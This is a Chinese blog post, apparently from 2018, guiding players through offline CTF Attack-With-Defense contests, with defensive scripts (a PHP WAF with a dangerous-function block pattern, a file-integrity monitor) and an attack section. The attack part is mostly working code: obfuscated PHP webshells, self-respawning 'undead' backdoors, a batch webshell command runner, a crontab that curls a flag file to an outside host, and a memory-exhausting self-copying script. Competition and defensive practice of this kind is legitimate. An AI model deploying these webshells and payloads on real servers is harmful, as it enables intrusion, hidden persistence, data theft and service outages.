初探线下CTF-AWD模式

初探线下CTF AWD模式

祭上大牛的导图

naotu.png

0x00防御

先做好防御工作,否则一开始被打穿后面心态就容易崩

修改密码

ssh密码修改
sudo passwd user
mysql密码修改
mysql> SET PASSWORD FOR 'user'@'localhost' = PASSWORD('newpass');
web后台密码修改

Web后台很有可能存在弱口令,一般都是admin/admin,admin/123456,test/test等等,同样需要立即修改,也可以修改其他队伍的后台口令,为本队所用,说不定可以利用后台getshell,比如十分常见的wordpress。

直接在后台管理页面进行修改

当然有些情况是比赛不允许修改后台口令,会将修改后台口令视为宕机,还要被扣分

修改MongoDB密码(27017端口)
修改Redis密码(6379端口)
修改网站源码中的数据库连接配置

备份源码

可以用Winscp、FileZilla之类的工具连接下载/var/www/html/下的文件做好备份

# 打包目录
tar -zcvf web.tar.gz /var/www/html 备份源码
tar -zcf /tmp/name.tar.gz /path/web
# 解包
tar -zxvf archive_name.tar.gz

备份数据库

备份
[root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
[root@localhost mysql]# mysqldump -u 用户名 -p 数据库名>导出的文件名
mysqldump -u root -p 数据库名>Test0809.sql,输入密码即可。


# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
# 方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码

删除后门

有些比赛主办方会在服务器预留后门,这时可以把备份目录用D盾之类的工具扫描一下,或者下载相同的cms来进行目录对比。有的话立刻删除,并且利用这个后门攻击其他服务器(很可能后门密码相同或者类似,可以猜解)

参考表哥的脚本,修改其中的地址、shell路径和密码即可

#coding=utf-8
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545" 
port="80"
payload = {passwd: 'system(\'cat /flag\');'}
f=open("webshelllist.txt","w") 
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]: 
    url1=url+str(i)+":"+port+shell
    try:
        res=requests.post(url1,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            print url1+" connect shell sucess,flag is "+res.text
            print >>f1,url1+" connect shell sucess,flag is "+res.text
            print >>f,url1+","+passwd
        else:
            print "shell 404"
    except:
        print url1+" connect shell fail"

f.close()
f1.close()

部署waf

一般SQL注入之类的漏洞不会有过滤,可以部署waf来拖延对方时间。同理,可以在对方部署waf前利用sqlmap来跑

上传漏洞也是简单的黑名单过滤,但是可以通过部署waf来删除常规木马,拖延对方的时间

waf可以用安全狗linux版或者柠檬师傅发的:

<?php

$WAF_log = '/var/tmp/web_log_';
$Upload_dir = '/var/tmp/upload/';

error_reporting(0);
function waf() {
    global $Upload_dir;
    if (!function_exists('getallheaders')) {
        function getallheaders() {
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') {
                    $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                }

            }
            unset($header['Accept']);
            return $headers;
        }
    }

    $get = $_GET;
    $get2 = $_SERVER['QUERY_STRING'];
    $post = $_POST;
    $post2 = @file_get_contents('php://input');
    $cookie = $_COOKIE;
    $header = getallheaders();
    $header['url'] = $_SERVER['REQUEST_METHOD'] . ' ' . 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];

    if (!empty($files)) {
        foreach ($_FILES as $key => $value) {
            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
            move_uploaded_file($_FILES[$key]['tmp_name'], $Upload_dir . $_FILES[$key]["name"] . '.' . time());
            file_put_contents($_FILES[$key]['tmp_name'], "lemon");
        }
    }
    unset($header['Accept']);
    $input = array("Header" => $header, "Get" => $get, "Get2" => $get2, "Cookie" => $cookie, "Post" => $post, "Post2" => $post2, "File" => $files);
    logging($input);
    $pattern = "/select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert|file_get_contents";
    $pattern .= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern .= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec/i";
}

function logging($var) {
    global $WAF_log;
    $tmp = "\n[" . date('y-m-d H:i:s') . "]\n";
    foreach ($var as $k => $v) {
        if (!empty($v)) {
            $tmp .= $k . " : " . print_r($v, true);
        }
    }
    file_put_contents($WAF_log . date('H', time()), $tmp . "\n\r", FILE_APPEND);
}
waf();

?>

在PHP文件里include这个waf即可,要比安全狗麻烦点

安装安全狗
https://zhuanlan.zhihu.com/p/25364552

使用方法:

(1).将waf.php传到要包含的文档的目录

(2).在页面中加入防护,有两种做法,根据情况二选一即可:

a).在所需要防护的页面加入代码

require_once('./datawaf.php');

就可以做到页面防注入、跨站

如果想整站防注,就在网站的一个公用文档中,如数据库链接文档config.inc.php中!

添加require_once(‘waf.php’);来调用本代码

常用php系统添加文档

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

b).在每个文档最前加上代码

在php.ini中找到:

Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
有root权限

那麽,这样就简单了,直接写在配置中。

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重启Apache或者php-fpm就能生效了。

当然也可以写在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”

只有user权限

没写系统权限就只能在代码上面下手了,也就是文件包含。

这钟情况又可以用不同的方式包含。

如果是框架型应用,那麽就可以添加在入口文件,例如index.php,

如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。

include('phpwaf.php');

还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。

当然还没完,还要在原phpwaf.php中包含原来的index.php。

index.php -> index2.phpphpwaf.php -> index.phpinclude('index2.php');

至于你想用哪种方式,看你心情咯,你开心就好。

文件监控

文件监控,会将新文件或者当文件被修改时立即恢复

# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []


# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

上个文档监控的脚本,这个确实给我们帮了大忙,它会检测目录下过去一段时间内是否有文档改动然后备份该文档并将其删除,这里主要用到的命令就是

find -name ‘*.php’ -mmin -10

这样就会找出过去10分钟发生改动的文档,我也先试着运行了一下命令,然后就是一大片木马展示在你眼前,当时的心情真是难以言喻,赶紧备份删马,上监控脚本,

查找常见备份文档

# 例如bak文档
find / -name "*.bak"

流量分析

可以在机器上利用tcpdump进行流量抓取

sudo tcpdump -s 0 port xxxx -w flow.pcap

追踪下tcp流,溯源

日志分析

tail -f *.log,看日志,不言而喻,抓他们的payload并利用;

php脚本

<?php
date_default_timezone_set('Asia/Shanghai');
$ip       = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];   //访问者要访问的文件名
$parameter   = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time     =   date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";

// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

一些日志分析工具

  1. LogForensics 腾讯实验室 https://security.tencent.com/index.php/opensource/detail/15
  2. 北风飘然@金乌网络安全实验室 http://www.freebuf.com/sectool/126698.html
  3. 网络ID为piaox的安全从业人员: http://www.freebuf.com/sectool/110644.html
  4. 网络ID:SecSky http://www.freebuf.com/sectool/8982.html
  5. 网络ID:鬼魅羊羔http://www.freebuf.com/articles/web/96675.html
# 日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

0x01 攻击

主机发现

主机发现可以用httpscan这个工具 ./httpscan.py 10.20.30.0/24 –t 10

端口扫描用nmap

# 使用httpscan脚本
./httpscan.py 172.16.0.0/24 –t 10
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24

口令

比赛刚开始拼手速,前面提到了一开始需要先讲本机ssh密码和mysql密码改了,同时队友可以试试其他机器的,万一所有机器的口令密码一样就美滋滋了

除了系统层面的口令外,还要考虑下web后台口令

预留后门

在维护的服务器上,很有可能已经预留了一个或多个后门,比如一句话木马,这个是送分题,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分(后面细说)

将服务器中web目录下载到本地,利用D盾扫描,一般就可以发现预留后门:

find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('

常规漏洞

  • Getshell:
    • 官方后门、文件上传
    • 文件写入、文件包含
    • 命令注入、反序列化
    • Redis写shell
    • Mysql写shell
  • 直接读文件:
    • SSRF
    • 任意文件读取
    • XXE
    • 文件上传
    • rce
    • 文件包含
    • Sqli

sql注入一般没有防护(对方部署的waf除外),可以用sqlmap跑,再利用—sql-shell执行select load_file(‘/flag’);即可得到flag,也可以利用into outfile写木马维持权限,但要根据实际情况,可能会遇到权限问题。用sqlmap跑比较耗时,可以利用payload写一个python,自动化进行攻击:

上传漏洞也可能只是简单的黑名单或者解析漏洞

文件包含一般可以跨目录读取flag

def include(host): r=requests. get(url="http://%s/?t=../../../../../../flag"% host)
flags=re. findall(r'^(.+?)<',r. content)
if flags: return flags[e]
else:
return "error pwn!"

命令执行

拿到命令执行漏洞后执行crontab

# 参考
# http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'

非常规一句话

一些非常规的一句话木马可以防止对方通过你种下的一句话来攻击别的队伍拿到分数

<?php ($_=@$_GET[2]).@$_($_POST[1])?>
连接方式:?2=assert
密码:1
<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
连接方式:?b=))99(rhC(tseuqeR+lave
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
连接方式:配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs= 
连接密码:0

权限维持

不死马,访问后会一直生成.config.php的一句话。解决方案:重启apache或者写个脚本一直kill这个进程

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
        file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');
        system('chmod 777 .config.php');
        touch("./.config.php",mktime(20,15,1,11,28,2016));
        usleep(100);
        }
?>

这个不死马运行后会删除自己,一直生成一个.config.php,和上面的类似

tips: .config.php 前面使用一个点,能很好的隐藏文档。

<?php 
   set_time_limit(0);  
   ignore_user_abort(1);  
   unlink(__FILE__);  
   while(1){  
       file_put_contents('.config.php','<?php @eval($_POST["password"]);?>');  
       sleep(5);  
  }

素质低的人则会放置一个md5马,比如

<?php
if(md5($_POST['pass'])=='e5e47c6c69adcf1e7681a0bb384dfe44')
@eval($_POST['cmd']);
?>

密码Mang0sec

如果素质低的人又很猥琐,像 rootrain 这种就是。那就是利用 header ,最后综合起来就是

<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
 if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
 $test= 'flag';
    header("flag:$test");
}
?>

放进 config.php 效果最好,因为一般很少人去看这个。

不死马的解决方案

先查看进程对应的pid,

ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了。再执行以下

<?php
while (1) {
    $pid=1234;
    @unlink('config.php');
    exec('kill -9 $pid');
}
?>

(2)重启php等web服务

(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文档夹。

获取flag的方式

线下赛可以直接使用<?php echo system("curl 10.0.0.2"); ?>之类的,只是说一个点,剩余的发挥空间由你们思考。

最好能写一个批量上传的,结合批量访问。批量访问参考PHP-定时任务
或者

#!/bin/bash
while true
do
    flag=$(curl 'http://172.16.4.42:800')
    curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"
    sleep 1s
done

一句话批量(py2 3 通用)

# -*- coding:utf-8 -*-
import requests

# ------------------------------------- CONFIG -----------------------------------
# 目标网段
ips_suffix = '192.168.1.'
ip_first = 103
ip_end = 105
# 目标协议 http or https
schema = 'http'
# shell相对路径
path = '/temp/shell.php'
# headers
headers = {'USER-AGENT': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'}
# cookies       直接burp抓到的cookie即可
cookie = 'PHPSESSID=eooaqev53m4sqft7csm55eh1l5' # burp抓到的cookie替换此处
# shell密码
shell_pass = 'CCcKNiFeee'
# 执行的系统命令
exec_command = 'whoami'
# -------------------------------------- parama -------------------------------------
cookies = {}
cookie = cookie.split(';')
for one_cookie in cookie:
    key,value = one_cookie.split('=',1)
    cookies[key.strip(' ')] = value
data = {shell_pass:'system("{exec_command}");'.format(exec_command=exec_command)}
# -------------------------------------- attrack ------------------------------------
for ip in range(ip_first,ip_end+1):
    shell_url = schema + '://' + ips_suffix + str(ip) + path
    try:
        result = requests.post(shell_url,headers=headers,cookies=cookies,data=data,timeout=3).text
        print (result)
    except:
        print (shell_url + '\tTIMEOUT!!!')

0x03 一些小tips

当怀疑某个进程是受到攻击后创建的shell进程,可以分析这个进程是否有socket连接

netstat -antulp        #查看连接internet的进程
ls /proc/<进程pid>/fd -l | grep socket: | wc -l        #查看指定进程socket连接数的命令

类似的可以查看是否有管道连接

ls /proc/<进程pid>/fd -l | grep pipe: | wc -l

如果有连接,kill掉进程

最后

0x04 搅屎

常驻内存之后,进入死循环。

循环内部是实现无效複製自身并且访问web服务的功能。

执行的后果就是内存爆炸,php就GG了,严重点的话,Docker也GG。

<?php
    set_time_limit(0);
    ignore_user_abort(true);
    while(1){
        file_put_contents(randstr().'.php',file_get_content(__FILE__));
        file_get_contents("http://127.0.0.1/");
    }
?>

0x05 Github 项目推荐

CTFDefense
流量分析

0x06 自己搭建AWD环境

https://github.com/zhl2008/awd-platform

0x07 文章推荐:

王一航:https://xz.aliyun.com/t/1530/

http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/

https://www.saowen.com/a/f4d0da55630cacf7bad21a95a2e14c1623ecc8cf65af3818e49ba7abccb429bd

https://blog.csdn.net/like98k/article/details/80261603

https://www.andseclab.com/2018/04/27/ctf%E7%BA%BF%E4%B8%8B%E8%B5%9B-awd-%E5%8F%82%E8%B5%9B%E6%8C%87%E5%8D%97/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:初探线下CTF-AWD模式

文章字数:4,324

本文作者:Mang0

发布时间:2018-12-02, 17:13:50

最后更新:2018-12-02, 17:15:54

原始链接:http://mang0.me/archis/49b464e6/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏